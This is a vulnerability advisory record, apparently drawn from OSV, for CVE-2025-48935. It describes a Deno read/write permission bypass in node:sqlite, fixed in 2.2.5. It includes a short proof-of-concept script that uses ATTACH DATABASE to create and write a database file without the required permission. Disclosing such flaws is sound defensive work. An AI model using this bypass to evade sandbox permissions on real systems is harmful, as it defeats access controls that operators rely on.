---
id: CVE-2025-48935
aliases:
  - RUSTSEC-2025-0138
  - GHSA-8vxj-4cph-c596
title: '--allow-read / --allow-write permission bypass in `node:sqlite`'
summary: '--allow-read / --allow-write permission bypass in `node:sqlite`'
severity: none
vendor: deno
product: deno
ecosystem: rust
affected:
  - 'deno >= 2.2.0, < 2.2.5'
patched:
  - deno 2.2.5
published: '2025-06-03'
updated: '2026-10-12'
sourceUpdated: '2026-10-12T18:00:13.056658752Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/RUSTSEC-2025-0138'
references:
  - url: 'https://crates.io/crates/deno'
  - url: 'https://rustsec.org/advisories/RUSTSEC-2025-0138.html'
  - url: >-
      https://github.com/denoland/deno/commit/31a97803995bd94629528ba841b2418d3ca01860
  - url: >-
      https://github.com/denoland/deno/commit/31a97803995bd94629528ba841b2418d3ca01860
tags:
  - osv
  - rust
epss: 0.00468
epssPercentile: 0.38682
ingestedAt: '2026-10-13T11:45:30.181Z'
---

## Overview

It is possible to bypass Deno's read/write permission
checks by using ATTACH DATABASE statement.

## PoC

```
// poc.js
import { DatabaseSync } from "node:sqlite"

const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");

db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");
```

```
$ deno poc.js
```

## Affected packages

- `deno >= 2.2.0, < 2.2.5`

## Remediation

Upgrade to a patched release:

- `deno 2.2.5`